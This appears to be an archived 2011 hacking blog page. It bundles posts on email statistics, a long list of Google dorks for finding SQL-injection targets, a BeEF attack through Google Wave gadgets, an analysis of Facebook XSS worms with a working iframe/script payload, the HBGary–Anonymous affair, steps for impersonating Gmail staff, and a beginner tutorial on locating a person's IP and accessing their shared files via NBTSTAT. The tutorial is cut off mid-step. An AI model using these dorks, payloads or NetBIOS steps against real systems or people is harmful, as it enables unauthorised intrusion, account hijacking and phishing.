Connect With Me In Facebook

Welcome to DefendHackers, If u want to Apply for a Blogroll as a Author , With h4ckfreak Mail me @ suren.click@gmail.com

Mark Zuckerberg tells 8th graders “there’s no shortcuts” and to make friends

By h4ckfreak

Metasploit Quick Start Referennce Guide

Metasploit Quick Start Referennce Guide , By h4ckfreak

IP Security

IP Security By H4ckfreak.

15 Network Admin Apps for Android

15 Network Admin Apps for Android , By h4ckfreak

Break All OS Passwords Using KON

Break All OS Passwords Using KON , By h4ckfreak

Recover Or Reset Ur Windows Pwd Using Ubuntu

Recover Or Reset Ur Windows Pwd Using Ubuntu , By h4ckfreak

Security Blueprint For Ethical Hackers..

By h4ckfreak

Blocking IP Using IPSec

By h4ckfreak

Preventing DDos Attacks, Combat Steps abd Tools...

By h4ckfreak

Thursday, June 2, 2011

35 Funnaeh Statistics About Email One Should Know



Back with a New Job, Gottaa tell you all My Job Gonna Keep me Busy Hereafter, And i am learning Alot  and enjoy learning and i Love My JOB...!!     Ok  Come Back to trackWhether you are gathering research for marketing, trying to support a project or just making a point the use of statistics always helps build a stronger argument. The following list of statistics were put together regarding email and fall under a variety of subjects such as general email, email marketing and, of course, email security.
  1. In 2011  there were 1.9 billion email users worldwide. That is projected to grow to 2.5 billion users by the year 2014.
  2. In 2010 there were an estimated 2.9 billion email mailboxes. 730 million of them are business email inboxes.
  3. There was an estimated 294 billion emails sent every day in 2010 totaling over 90 trillion emails sent every year, or 2.8 million emails sent every second.
  4. The average number of emails sent by a typical business user each day is 43. That same user receives an average of 130 emails each day.
  5. Of those 294 billion email messages sent every day it is estimated that 90% of them are spam or malicious.
  6. The average corporate employee spends 25 percent of their work day on email related tasks. This is compared to 14 percent spent on face to face meetings and 9 percent spent on the phone.
  7. The amount of spam is increasing at a rate of 20 to 25 percent every year.
  8. 74% of all adults online state that email is the preferred method of communication.
  9. A Yahoo! survey found that one third of all people would rather clean their toilets than clean out their email inbox.
  10. The average size of an email message is 75 KB which is about 7000 words in plain text.
  11. The average size of a spam message is less than 5 KB in size.
  12. The average user spends about 1 hour and 47 minutes using email.
  13. One third of all people aged 18 to 34 check their email when they first wake up.
  14. 62 percent of people admit that they regularly check work email over the weekend and 50 percent admit to checking work email while on vacation. 78 percent of this is done using mobile devices.
  15. Lost productivity due to dealing with spam costs businesses approximately $897.86 per user every year.
  16. 26 percent of Small and Medium Sized Businesses will suffer around 30 minutes of unplanned downtime every month when it comes to email services.
  17. In 2008 there were 158 billion marketing emails sent by US retailers and wholesalers. By 2013 that number is expected to grow to 258 billion.
  18. 91 percent of all spam contains some sort of link.
  19. 18 percent of all spam makes use of a URL link shortening service.
  20. Out of the 76 billion spam messages sent with a Bit.ly shortened URL, 168,000 where clicked at a rate of .0002 percent.
  21. 64 percent of all spam messages are related to a pharmaceutical product. Other popular topics include Casinos at 7 percent and watches at 6.5 percent.
  22. 1 in 284 emails contain malware.
  23. 1 in 445 emails are phishing attempts.
  24. Only .7 percent of spam comes from free webmail services like Gmail or Hotmail.
  25. 1.1 percent of spam were forged to look like they were sent from legitimate webmail accounts.
  26. Botnets account for 88.2 percent of all spam sent to your inbox.
  27. A single bot sends approximately 77 spam emails per minute.
  28. In 2010 there were over 339,600 different malware strains identified in emails that were blocked as being malicious.
  29. In 2010 Italy intercepted the highest percentage of spam at 93.5 percent.
  30. The continent responsible for sending the highest percentage of spam in 2010 was Europe at 39.3 percent.
  31. Before it was brought down, Rustock was responsible for 47.5 percent of all spam, or 44.1 billion spam messages sent out every day.
  32. The second most productive spam botnet in 2010, the Grum botnet, was responsible for 9 percent of all spam equaling 7.9 billion messages a day.
  33. Roughly 93 percent of all spam in 2010 was sent in English. 5.7 percent of these messages were considered to be unknown.
  34. Only 33 percent of all spam messages sent to Brazilian email addresses was sent in Portuguese.
  35. In 2010 Outlook was the most popular email client with 36.71 percent of the market share. Hotmail was second with 16.23 percent.

Tuesday, May 17, 2011

Google Dorks To Find Targets For SQL Injection



Following are Google Dork queries that can help you find sites that might be vulnerable for SQL injection attacks. Please note that they will not find sites that are vulnerable, they’ll just predict sites that might be vulnerable, and you have to check them for vulnerability. So here’s your list, [Guys may be u Can Use ACUNETIX Or WEB Vulnerability Scanner for More Bugs]







allinurl:index.php?id=
allinurl:trainers.php?id=
allinurl:buy.php?category=
allinurl:article.php?ID=
allinurl:play_old.php?id=
allinurl:newsitem.php?num=
allinurl:readnews.php?id= 
allinurl:top10.php?cat=
allinurl:historialeer.php?num=
allinurl:reagir.php?num=
allinurl:Stray-Questions-View.php?num=
allinurl:forum_bds.php?num=
allinurl:game.php?id=
allinurl:view_product.php?id=
allinurl:newsone.php?id=
allinurl:sw_comment.php?id=
allinurl:news.php?id=
allinurl:avd_start.php?avd=
allinurl:event.php?id=
allinurl:product-item.php?id=
allinurl:sql.php?id=
allinurl:news_view.php?id=
allinurl:select_biblio.php?id=
allinurl:humor.php?id=
allinurl:aboutbook.php?id=
allinurl:ogl_inet.php?ogl_id=
allinurl:fiche_spectacle.php?id=
allinurl:communique_detail.php?id=
allinurl:sem.php3?id=
allinurl:kategorie.php4?id=
allinurl:news.php?id=
allinurl:index.php?id=
allinurl:faq2.php?id=
allinurl:show_an.php?id=
allinurl:preview.php?id=
allinurl:loadpsb.php?id=
allinurl:opinions.php?id=
allinurl:spr.php?id=
allinurl:pages.php?id=
allinurl:announce.php?id=
allinurl:clanek.php4?id=
allinurl:participant.php?id=
allinurl:download.php?id=
allinurl:main.php?id=
allinurl:review.php?id=
allinurl:chappies.php?id=
allinurl:read.php?id=
allinurl:prod_detail.php?id=
allinurl:viewphoto.php?id=
allinurl:article.php?id=
allinurl:person.php?id=
allinurl:productinfo.php?id=
allinurl:showimg.php?id=
allinurl:view.php?id=
allinurl:website.php?id=
allinurl:hosting_info.php?id=
allinurl:gallery.php?id=
allinurl:rub.php?idr=
allinurl:view_faq.php?id=
allinurl:artikelinfo.php?id=
allinurl:detail.php?ID=
allinurl:index.php?=
allinurl:profile_view.php?id=
allinurl:category.php?id=
allinurl:publications.php?id=
allinurl:fellows.php?id=
allinurl:downloads_info.php?id=
allinurl:prod_info.php?id=
allinurl:shop.php?do=part&id=
allinurl:productinfo.php?id=
allinurl:collectionitem.php?id=
allinurl:band_info.php?id=
allinurl:product.php?id=
allinurl:releases.php?id=
allinurl:ray.php?id=
allinurl:produit.php?id=
allinurl:pop.php?id=
allinurl:shopping.php?id=
allinurl:productdetail.php?id=
allinurl:post.php?id=
allinurl:viewshowdetail.php?id=
allinurl:clubpage.php?id=
allinurl:memberInfo.php?id=
allinurl:section.php?id=
allinurl:theme.php?id=
allinurl:page.php?id=
allinurl:shredder-categories.php?id=
allinurl:tradeCategory.php?id=
allinurl:product_ranges_view.php?ID=
allinurl:shop_category.php?id=
allinurl:transcript.php?id=
allinurl:channel_id=
allinurl:item_id=
allinurl:newsid=
allinurl:trainers.php?id=
allinurl:news-full.php?id=
allinurl:news_display.php?getid=
allinurl:index2.php?option=
allinurl:readnews.php?id=
allinurl:top10.php?cat=
allinurl:newsone.php?id=
allinurl:event.php?id=
allinurl:product-item.php?id=
allinurl:sql.php?id=
allinurl:aboutbook.php?id=
allinurl:preview.php?id=
allinurl:loadpsb.php?id=
allinurl:pages.php?id=
allinurl:clanek.php4?id=
allinurl:announce.php?id=
allinurl:chappies.php?id=
allinurl:read.php?id=
allinurl:viewapp.php?id=
allinurl:viewphoto.php?id=
allinurl:rub.php?idr=
allinurl:galeri_info.php?l=
allinurl:review.php?id=
allinurl:iniziativa.php?in=
allinurl:curriculum.php?id=
allinurl:labels.php?id=
allinurl:story.php?id=
allinurl:look.php?ID=
allinurl:newsone.php?id=
allinurl:aboutbook.php?id=

Friday, May 13, 2011

How to Use Google Wave , Tool for Hacking


I Thought i was Fooled When Google WAVE Was released On April 1 , After a day only i Fathom that Google Wave Service Exists ..Well Coming to tha Point ,Many security researchers and hackers are familiar with BeEF, a browser exploitation framework by Wade Alcorn. In short, BeEF is a program that brings together various types of code for taking advantage of known vulnerabilities in web browsers. If a target computer loads a certain bit of code within a web page, that code connects to a server control panel which can then execute certain attacks against the “zombie” machine.
After noting potential security issues with the gadgets in Google Wave, I set about to finally setup a BeEF testbed and see if Google Wave was as capable a platform for malware delivery.




Example of a BeEF zombie spawned via Google Wave
The picture above shows the results. I successfully created a Google Wave gadget that creates a new BeEF zombie whenever someone views the wave. This does not allow for the keylogger function of BeEF, but I did send an alert dialog (as shown) and used the Chrome DoS function to crash the browser tab. (I could also detect that the zombie machine had Flash installed – imagine the possibilities of using Flash or PDF exploits in an auto-loaded gadget.)
What’s even more disconcerting is that BeEF can integrate with Metasploit to potentially take over a victim’s machine. I do not currently have Metasploit setup to test using Autopwn, but based on my experiences so far, I’m fairly confident such an attack would succeed.
All of these demonstrations about security and Google Wave point to four general weaknesses in Wave’s current structure:
  1. Allowing scripts and iframes in gadgets with no limits apart from sandboxing
  2. Lack of control over what content or users can be added to a wave
  3. No simple mechanism for verifying gadget sources or features
  4. Automatically loading gadgets when a wave is viewed
Any one of these issues would be cause for concern, but taken together they present such alarming possibilities as a user getting their computer hacked simply by viewing a wave. Whatever may be said about Google Wave’s usefulness, I have to conclude that the product is not ready for prime time until these types of problems are addressed.

Thursday, May 12, 2011

Recent Facebook XSS Attacks (A Small Research)

A few weeks ago, three separate cross-site scripting (XSS) vulnerabilities on Facebook sites were uncovered within a period of about 10 days. At least two of these holes were used to launch viral links or attacks on users – and it’s clear that attacks against Facebook users are becoming increasingly sophisticated.



The first issue came from a page on the mobile version of Facebook’s site. The interface was a prompt for posting stories to a user’s wall, and the parameter for the text of the prompt did not properly escape output. On March 28, a blogger identifying themselves as “Joy CrazyDaVinci” posted code that demonstrated how the vulnerability could be used to spread viral links:
<iframe id=”CrazyDaVinci” style=”display:none;”
src=”http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=’<script>window.onload=function(){document.forms[0].message.value=’Just visited http://y.ahoo.it/gajeBA Wow.. cool! nice page dude!!!‘;document.forms[0].submit();}</script>”></iframe>
This bit of HTML would be included in a viral page. The code sets the content of the wall post to a message that includes a link to a viral page, then submits the prompt automatically. Anyone clicking the link would get the same code executed on their account. The viral page could be used for malware distribution or phishing attacks, but in most cases where I saw this trick used, the page simply loaded advertisements or “offer spam”.



By the next day, several links were spreading virally and caught the attention of security researchers. Facebook moved quickly to patch the issue, and Crazy DaVinci issued an apology for the example code, explaining that versions of it had actually been circulating for several days prior and that the demonstration was intended to push Facebook for a fix.
On April 3, another XSS problem came to light, this time with a Facebook “channel” page used for session management. Both another security researcher and I had previously looked at this interface and found it properly escaped, so it’s likely a code update mistakenly changed the page’s behavior. Facebook again patched the problem soon after news of it spread.
I didn’t observe any viral exploitation of the second vulnerability in the wild, but after the first problem came to light, I noted that it was mostly used to submit a form already on the page for posting links. The payload made use of functionality within the vulnerable page, but XSS allows an attacker to do far more. I wondered when we might see a Facebook attack that made greater use of cross-site scripting’s potential.

What a Difference a Space Makes

I didn’t have to wait long. On April ,I got word via Twitter of a Facebook app that had live XSS, but the app had disappeared before I got to see it in action. At first, I thought this was yet another case of XSS within the context of a Facebook app. But I soon found other version of the app which were still online, and I quickly realized this was actually an XSS problem with the Facebook Platform. Also, the XSS payload being used did much more than submit a form.
The attack used FBML-based Facebook apps, which render in the context of an apps.facebook.com page. Normally, Facebook filters code to prevent any scripts from directly modifying the page’s DOM, but the XSS problem gave attackers a bypass. When a user visited the app page, they would see what appeared to be a fairly benign page with a popular video.

Unlike many Facebook page scams, the promised video actually works – if you click play, the video will load and nothing unusual seems to happen. But as the code screenshot below reveals, that click does much more than load the video.





When the page first loads, the “video” is actually just an image placeholder with a link. Part of the href parameter for that link is shown above. Note the space after the opening quotation mark – that’s where the XSS comes in. Normally, Facebook would block a link to a javascript: URL. Adding the space worked around Facebook’s filters, but the browser would still execute the rest of parameter.


According to Facebook, it turned out that some older code was using PHP’s built-in parse_url function to determine allowable URLs. For example, while parse_url(“javascript:alert(1)”) yields a scheme of “javascript” and a path of “alert(1)”, adding whitespace gives a different result: parse_url(” javascript:alert(1)”) does not return a scheme and has a path of “javascript:alert(1)”. Other PHP developers should take note of the difference if parse_url is being used in security-related code.

A More Advanced Attack

Clicking the link executed an inline script that in turn added a script element to the page. This loaded more code from a remote address and included several parameters in the GET request. The parameters set variables within the remote code that specified what video to load, what URLs to use for viral posts, and so on. Multiple Facebook apps and domains were used for the viral links, but the main script always came from the same host. This helped the attack persist, since blocking one site would not stop it and the central code was loaded dynamically.
The remote code handled actually loading the video, but also included a number of functions which make use of having script access in a facebook.com context. The script would set the user as attending spam events, invite friends to those events, “like” a viral link, and even send IMs to friends using Facebook Chat.
When I came across the attack, one block of code had been commented out, but one blogger discovered a version of the attack a few days prior and saw it in action. This part loaded a fake login form which actually sent the entered username and password to a log interface on the attacker’s server. (Remember, this phishing form would appear in the context of a page with typical Facebook chrome.) Since the attack page would load even if a user was not logged in to Facebook, this could have also been a way to make sure a session was available before launching the other functions.
Fake videos and viral links are nothing new on Facebook, but most of these scams tend to be fairly simple. In fact, it’s not hard to find forums where people offer boilerplate code for launching such schemes – much like the first XSS worm above which simply submitted a form. But the April XSS attack involved multiple domains, multiple user accounts, and multiple methods for spreading and hijacking user accounts. And it still only scratched the surface of what’s possible with an XSS vulnerability. I expect we’ll see more XSS-based attacks and more powerful payloads in the future.

Postscript on Real-Time Research

I came across the April attack late one afternoon as I was preparing to leave work… so I could present on XSS at a local OWASP meeting! Those following me on Twitter saw a somewhat frantic stream of tweets as I tried to find live examples of the attack and sorted through the code while closely watching the clock and wrapping up last-minute presentation details. Earlier this week, I did some searching to review information for this post, and I came across this article from eWEEK: “Facebook Bully Video Actually an XSS Exploit“.



I was a bit surprised by it, as I hadn’t known about it before and saw that it quoted me. I then realized it was quoting my tweets! I then read that I had “confirmed to eWEEK on Twitter” one aspect of the story. At first I was confused, but then remembered that during my flood of tweeting, another user had sent an @ reply asking about the very detail the story talked about. Checking that tweet again, I found out the question had come from the article’s author.
I relate all this not because any of it bothered me, simply because
(1) I found it somewhat fascinating that a few quick Twitter updates could become the primary source for a news article and

(2) I was humbled to realize that a few quick Twitter updates could become the primary source for a news article! While it’s great that a story can spread so fast, it was certainly gave me a reminder to be careful when discussing topics of interest on a public forum.


But I’m glad I can do my part in helping raise awareness of online dangers, particular the implications of XSS.

Wednesday, May 11, 2011

How one man tracked down Anonymous—and paid a heavy price

 Aaron Barr believed he had penetrated Anonymous. The loose hacker collective had been responsible for everything from anti-Scientology protests to pro-Wikileaks attacks on MasterCard and Visa, and the FBI was now after them. But matching their online identities to real-world names and locations proved daunting. Barr found a way to crack the code.
In a private e-mail to a colleague at his security firm HBGary Federal, which sells digital tools to the US government, the CEO bragged about his research project.
"They think I have nothing but a heirarchy based on IRC [Internet Relay Chat] aliases!" he wrote. "As 1337 as these guys are suppsed to be they don't get it. I have pwned them! :)"
But had he?

"We are kind of pissed at him right now"


Barr's "pwning" meant finding out the names and addresses of the top Anonymous leadership. While the group claimed to be headless, Barr believed this to be a lie; indeed, he told others that Anonymous was a tiny group.
"At any given time there are probably no more than 20-40 people active, accept during hightened points of activity like Egypt and Tunisia where the numbers swell but mostly by trolls," he wrote in an internal e-mail. (All e-mails in this investigative report are provided verbatim, typos and all.) "Most of the people in the IRC channel are zombies to inflate the numbers."
The show was run by a couple of admins he identified as "Q," "Owen," and "CommanderX"—and Barr had used social media data and subterfuge to map those names to three real people, two in California and one in New York.
Near the end of January, Barr began publicizing his information, though without divulging the names of the Anonymous admins. When the Financial Times picked up the story and ran a piece on it on May 4, it wasn't long before Barr got what he wanted—contacts from the FBI, the Director of National Intelligence, and the US military. The FBI had been after Anonymous for some time, recently kicking in doors while executing 40 search warrants against group members.
Confident in his abilities, Barr told one of the programmers who helped him on the project, "You just need to program as good as I analyze."
Aaron Barr
But on may 5, one day after the Financial Times article and six days before Barr's sit-down with the FBI, Anonymous did some "pwning" of its own. "Ddos!!! Fckers," Barr sent from his iPhone as a distributed         denial of service attack hit his corporate network. He then pledged to "take the gloves off."






When the liberal blog Daily Kos ran a story on Barr's work later that day, some Anonymous users commented on it. Barr sent out an e-mail to colleagues, and he was getting worked up:  "They think all I know is their irc names!!!!! I know their real fing names. Karen [HBGary Federal's public relations head] I need u to help moderate me because I am getting angry. I am planning on releasing a few names of folks that were already arrested. This battle between us will help spur publicity anyway."
Indeed, publicity was the plan. Barr hoped his research would "start a verbal braul between us and keep it going because that will bring more media and more attention to a very important topic."
But within a day, Anonymous had managed to infiltrate HBGary Federal's website and take it down, replacing it with a pro-Anonymous message ("now the Anonymous hand is bitch-slapping you in the face.") Anonymous got into HBGary Federal's e-mail server, for which Barr was the admin, and compromised it, extracting over 40,000 e-mails and putting them up on The Pirate Bay, all after watching his communications for 30 hours, undetected. In an after-action IRC chat, Anonymous members bragged about how they had gone even further, deleting 1TB of HBGary backup data.
They even claimed to have wiped Barr's iPad remotely.
The situation got so bad for the security company that HBGary, the company which partially owns HBGary Federal, sent its president Penny Leavy into the Anonymous IRC chat rooms to swim with the sharks—and to beg them to leave her company alone. (Read the bizarre chat log.) Instead, Anonymous suggested that, to avoid more problems, Leavy should fire Barr  and "take your investment in aaron's company and donate it to BRADLEY MANNINGS DEFENCE FUND." Barr should cough off up a personal contribution, too; say, one month's salary?
As for Barr's "pwning," Leavy couldn't backtrack from it fast enough. "We have not seen the list [of Anonymous admins] and we are kind of pissed at him right now."
Were Barr's vaunted names even correct? Anonymous insisted repeatedly that they were not. As one admin put it in the IRC chat with Leavy, "Did you also know that aaron was peddling fake/wrong/false information leading to the potential arrest of innocent people?" The group then made that information public, claiming that it was all ridiculous.
Thanks to the leaked e-mails, we now have the full story of how Barr infiltrated Anonymous, used social media to compile his lists, and even resorted to attacks on the codebase of the Low Orbit Ion Cannon—and how others at his own company warned him about the pitfalls of his research.

Sunday, April 17, 2011

Serious Vulnerability in GMAIL ( Still Not Fixed)

 I really Don kno wen the big guys gonnna listen to those such bugs (Hackersbay.in == h4ckolic) already Reported a serious bug in Facebook API, Still no response and (Amarjit.info==> Amarajit singh has also reported about iframe Bug In Google , Still the ..same) And As We all kno the FAMOUS Bug in Google that is Gmail Accepts the dots in between the username Still no answer for the same, And Up Again GMAIL Has exposed with new Bug that we gonnna talk about..

Gmail is NUMBER one of the major webmail service provider across the globe. But as we all know Gmail still carries that 4 letter word [""BETA""]. Sometimes we may wonder, why Gmail is still in the testing stage even after years of it’s emergence. Here is one small reason for that.(In tha middle i guess Each Org like Facebook , Yahoo , Google , Have to listen actively to the Feedback Dept..Coz They cant hire lobby testers to test each tiers, Instead They can Look at the Bugs Reported by tha Patriotic Hackers Or Security Proffessionals)

Gmail follows a strict rule that doesn’t allow it’s users to have their first or the last name contain the term Gmail or Google. That is, while signing up for a new Gmail account the users cannot choose a first or last name that contains the term Gmail or Google. You can see this from the below snapshot.

Google or Gmail cannot be used as first or last name



This rule is implemented by Gmail for obvious reasons, because if the users are allowed to keep their first or the last name that contains the term Gmail or Google, then it is possible to easily impersonate the identity of Gmail (or Gmail Team) and engage themselves in phising or social engineering attacks on the innocent users. This can be done by simply choosing the first and last name with the following combinations.

First Name    Last Name

Gmail                Team

Google             Team

Gmail               Password Assistance

From the above snapshot we can see that, Gmail has made a good move in stopping the users from abusing it’s services. However this move isn’t just enough to prevent the malicious users from impersonating the Gmail’s identity. Because Gmail has a small vulnerability that can be exploited so that the users can still have their name contain the terms Gmail or Google. You may wonder how to do this. But it’s very simple.

1. Login to your Gmail account and click on Settings.

2. Select Accounts tab

3. Click on edit info

4. In the Name field, select the second radio button and enter the name of your choice. Click on Save Changes and you’re done!

Now, Gmail accepts any name even if it contains the term Google or Gmail. You can see from the below snapshot


gmailhack



Allowing the users to have their names contain the terms Gmail or Google is a serious vulnerability even though it doesn’t seem to be a major one. This is because a hacker or a malicious attacker can easily exploit this flaw and send phishing emails to other Gmail users asking for sensitive information such as their passwords. Most of the users don’t even hesitate to send their passwords since they believe that they are sending it to Gmail Team (or someone authorized). But in reality they are sending it to an attacker who uses these information to seek personal benefits.

So the bottomline is, if you get any emails that appears to have come from the Gmail Team or similar, don’t trust them! Anyone can send such emails to fool you and take away your personal details. Hope that Gmail will fix this vulnerability as soon as possible to avoid any disasters.


Anyway they Not gonnna listen..Frigggin up

Tuesday, April 5, 2011

Yes You Can Hack it - My Best Post


Peoples Out there Suggest me a Good Mobile Phone For me,,i hated using Symbian ..! N81..For the last one weeek am surfing , reading reviews about each phone , But don kno which one have to pick few say ANDROID is Awsum, And few say Nokia N900 (Maemo Linux OS Incredible), And few askk me to go BLACKBERRY (I hated coz, blackberry Doesnt come With Fun Packed multimedia Stuffs)  And about Iphone i dont needed it, I Always been a Lazy And Sober Person..Don Want to miss Ma Phone..Ha ha ..So Gottta  Review Or Suggestion For me Regarding my Purchase..Send message in FB or Leave Comment Or Mail me(that u can find on the Homepage)
And Last thing , May be This month 20th i go for Buying..! So Y Waiting Write ur Suggestion for me

1).
First Introduction
This Tutorial Will Teach you what it does, how it does, Hot to use it , How to hack it and some other simple DOS commands that will be useful to you in the future. THIS TUTORIAL IS FOR NEWBIEZ ONLY!!! If you are NOT a newbie then don't go any farther reading this because if you're smart enough you probably already know it all. So don't waste yourt time reading something that you already know.

2).
NETBIOS also known as NBTSTAT
This is a program run on the Windows system and is used for identifying a remote network or computer for file sharing enabled. We can expoit systems using this method. It may be old but on home pc's sometimes it still works great. You can use it on your friend at home or something. I don't care what you do, but remember, that you are reading this document because you want to learn. So I am going to teach you. Ok. So, you ask, "How do i get to NBTSTAT?" Well, there are two ways, but one's faster.
Method 1:Start>Programs>MSDOS PROMPT>Type NBTSTAT
Method 2:Start>Run>Type Command>Type NBTSTAT
Ok! Now since you're in the DOS command under NBTSTAT, you're probably wondering what all that crap is that's on your screen. These are the commands you may use. I'm only going to give you what you need to know since you are striving to be l33t. Your screen should look like the following:


NBTSTAT [ [-a RemoteName] [-A IP address] [-c] [-n]
[-r] [-R] [-RR] [-s] [-S] [interval] ]
-a (adapter status) Lists the remote machine's name table given its name
-A (Adapter status) Lists the remote machine's name table given its IP address.
-c (cache) Lists NBT's cache of remote [machine] names and their IP addresses
-n (names) Lists local NetBIOS names.
-r (resolved) Lists names resolved by broadcast and via WINS
-R (Reload) Purges and reloads the remote cache name table
-S (Sessions) Lists sessions table with the destination IP addresses
-s (sessions) Lists sessions table converting destination IP addresses to computer NETBIOS names.
-RR (ReleaseRefresh) Sends Name Release packets to WINS and then, starts Refresh
RemoteName Remote host machine name.


IP address Dotted decimal representation of the IP address.
interval Redisplays selected statistics, pausing interval seconds between each display.
Press Ctrl+C to stop redisplaying statistics.


C:\WINDOWS\DESKTOP>

The only two commands that are going to be used and here they are:
-a (adapter status) Lists the remote machine's name table given its name
-A (Adapter status) Lists the remote machine's name table given its IP address.
Host Names


3).
NOW

The -a means that you will type in the HOST NAME of the person's computer that you are trying to access. Just in case you don't have any idea what a Host Name looks like here's an example.
123-fgh-ppp.internet.com
there are many variations of these adresses. For each different address you see there is a new ISP assigned to that computer. look at the difference.
abc-123.internet.com
ghj-789.newnet.com
these are differnet host names as you can see, and, by identifying the last couple words you will be able to tell that these are two computers on two different ISPs. Now, here are two host names on the same ISP but a different located server.
123-fgh-ppp.internet.com
567-cde-ppp.internet.com
IP Addresses



4).You can resolce these host names if you want to the IP address (Internet Protocol)
IP addresses range in different numbers. An IP looks like this:
201.123.101.123
Most times you can tell if a computer is running on a cable connection because of the IP address's numbers. On faster connections, usually the first two numbers are low. here's a cable connection IP.
24.18.18.10
on dialup connections IP's are higher, like this:
208.148.255.255
notice the 208 is higher than the 24 which is the cable connection.
REMEMBER THOUGH, NOT ALL IP ADDRESSES WILL BE LIKE THIS.
Some companies make IP addresses like this to fool the hacker into believing it's a dialup, as a hacker would expect something big, like a T3 or an OC-18. Anyway This gives you an idea on IP addresses which you will be using on the nbtstat command.
Getting The IP Through DC (Direct Connection)



5. First. You're going to need to find his IP or host name. Either will work. If you are on mIRC You can get it by typing /whois (nick) ...where (nick) is the persons nickname without parenthesis. you will either get a host name or an IP. copy it down. If you do not get it or you are not using mIRC then you must direct connect to their computer or you may use a sniffer to figure out his IP or host name. It's actually better to do it without the sniffer because most sniffers do not work now-a-days. So you want to establish a direct connection to their computer. OK, what is a direct connection? When you are:
Sending a file to their computer you are directly connected.
AOL INSTANT MESSENGER allows a Direct Connection to the user if accepted.
ICQ when sending a file or a chat request acception allows a direct connection.
Any time you are sending a file. You are directly connected. (Assuming you know the user is not using a proxy server.)
Voice Chatting on Yahoo establishes a direct connection.
If you have none of these programs, either i suggest you get one, get a sniffer, or read this next statement.
If you have any way of sending thema
to your site that enables site traffic statistics, and you can log in, send a to your site, then check the stats and get the IP of the last visitor. It's a simple and easy method i use. It even fool some smarter hackers, because it catches them off guard. Anyway, once you are directly
connected use either of the two methods i showed you earlier and get into DOS. Type NETSTAT -n. NETSTAT is a program that's name is short for NET STATISTICS. It will show you all computers connected to yours. (This is also helpful if you think you are being hacked by a trojan horse and is on a port that you know such as Sub Seven: 27374.) Your screen should look like this showing the connections to your computer:


--------------------------------------------------------------------------------------------

C:\WINDOWS\DESKTOP>netstat -n
Active Connections
Proto Local Address Foreign Address State
TCP 172.255.255.82:1027 2xx.1xx.x8.x6:13784 ESTABLISHED
TCP 172.255.255.82:1036 2xx.1xx.4x.3:5190 ESTABLISHED
TCP 172.255.255.82:1621 2x.1x1.3x.x5:66 CLOSE_WAIT
TCP 172.255.255.82:1413 2xx.1xx.8.7:26778 ESTABLISHED
TCP 172.255.255.82:1483 6x.4.13.2xx:1863 ESTABLISHED {Where x=integer from 0-9}
C:\WINDOWS\DESKTOP>


-------------------------------------------------------------------------------------------
The first line indicated the Protocol (language) that is being used by the two computers.
TCP (Transfer Control Protocol) is being used in this and is most widely used.
Local address shows your IP address, or the IP address of the system you on.
Foreign address shows the address of the computer connected to yours.
State tells you what kind of connection is being made ESTABLISHED - means it will stay connected to you as long as you are on the program or as long as the computer is allowing or is needing the other computers connection to it. CLOSE_WAIT means the connection closes at times and waits until it is needed or you resume connection to be made again. One that isn't on the list is TIME_WAIT which means it is timed. Most Ads that run on AOL are using TIME_WAIT states.
the way you know the person is directly connected to your computer is because of this:


----------------------------------------------------------------------------------------
C:\WINDOWS\DESKTOP>netstat -n
Active Connections
Proto Local Address Foreign Address State
TCP 172.255.255.82:1027 2xx.1xx.x8.4x:13784 ESTABLISHED
TCP 172.255.255.82:1036 2xx.1xx.4x.3:5190 ESTABLISHED
TCP 172.255.255.82:1621 2x.1x1.3x.75:66 CLOSE_WAIT
TCP 172.255.255.82:1413 abc-123-ppp.webnet.com ESTABLISHED
TCP 172.255.255.82:1483 6x.4.x3.2x9:1863 ESTABLISHED
C:\WINDOWS\DESKTOP> {Where x=integer from 0-9}


----------------------------------------------------------------------------------------

Notice the host name is included in the fourth line instead of the IP address on all. This is almost ALWAYS, the other computer that is connected to you. So here, now, you have the host name:
abc-123-ppp.webnet.com
If the host name is not listed and the IP is then it NO PROBLEM because either one works exactly the same. I am using abc-123-ppp.webnet.com host name as an example. Ok so now you have the IP and/or host name of the remote system you want to connect to. Time to hack!
Open up your DOS command. Open up NBTSTAT by typing NBTSTAT. Ok, there's the crap again. Well, now time to try out what you have leanred from this document by testing it on the IP and/or host name of the remote system. Here's the only thing you'll need to know.
IMPORTANT, READ NOW!!!

-a (adapter status) Lists the remote machine's name table given its name
-A (Adapter status) Lists the remote machine's name table given its IP address.
Remember this?
Time to use it.
-a will be the host name
-A will be the IP
How do i know this?

Read the Statements following the -a -A commands. It tells you there what each command takes.
So have you found which one you have to use?
GOOD!
Time to start.
Using it to your advantage



6. Type this if you have the host name only.
NBTSTAT -a (In here put in hostname without parenthesis)
Type this is you have the IP address only.
NBTSTAT -A (In here put in IP address without parenthesis)
Now, hit enter and wait. Now Either one of two things came up

1. Host not found
2. Something that looks like this:

------NetBIOS Local Name Table---------
------Name Type Status-----------------


GMVPS01 <00> UNIQUE Registered
WORKGROUP <00> GROUP Registered
GMVPS01 <03> UNIQUE Registered
GMVPS01 <20> UNIQUE Registered
WORKGROUP <1E> GROUP Registered


If the computer responded "Host not found" Then either one of two things are the case:
1. You screwed up the host name.
2. The host is not hackable.
If number one is the case you're in great luck. If two, This system isn't hackable using the NBTSTAT command. So try another system.
If you got the table as above to come up, look at it carefully as i describe to you each part and its purpose.
Name - states the share name of that certain part of the computer
<00>, <03>, <20>, <1E> - Are the Hexidecimal codes giving you the services available on that share name.

Type - Is self-explanatory. It's either turned on, or activated by you, or always on.
Status - Simply states that the share name is working and is activated.
Look above and look for the following line:
GMVPS01 <20> UNIQUE Registered
See it?
GOOD! Now this is important so listen up. The Hexidecimanl code of <20> means that file sharing is enabled on the share name that is on that line with the hex number. So that means GMVPS01 has file sharing enabled. So now you want to hack this. Here's How to do it. (This is the hard part)
LMHOST File



7. There is a file in all Windows systems called LMHOST.sam. We need to simply add the IP into the LMHOST file because LMHOST basically acts as a network, automatically logging you on to it. So go to Start, Find, FIles or Folders. Type in LMHOST and hit enter. when it comes up open it using a text program such as wordpad, but make sure you do not leave the checkmark to "always open files with this extension" on that. Simply go through the LMHOST file until you see the part:
# This file is compatible with Microsoft LAN Manager 2.x TCP/IP lmhosts
# files and offers the following extensions:
#
<-Kro-Kite didn't missed point I just left blank w/o purpose
# #PRE
# #DOM:
# #INCLUDE
# #BEGIN_ALTERNATE
# #END_ALTERNATE
# \0xnn (non-printing character support)
#
<-Kro-Kite didn't missed point I just left blank w/o purpose
# Following any entry in the file with the characters "#PRE" will cause
# the entry to be preloaded into the name cache. By default, entries are
# not preloaded, but are parsed only after dynamic name resolution fails.
#
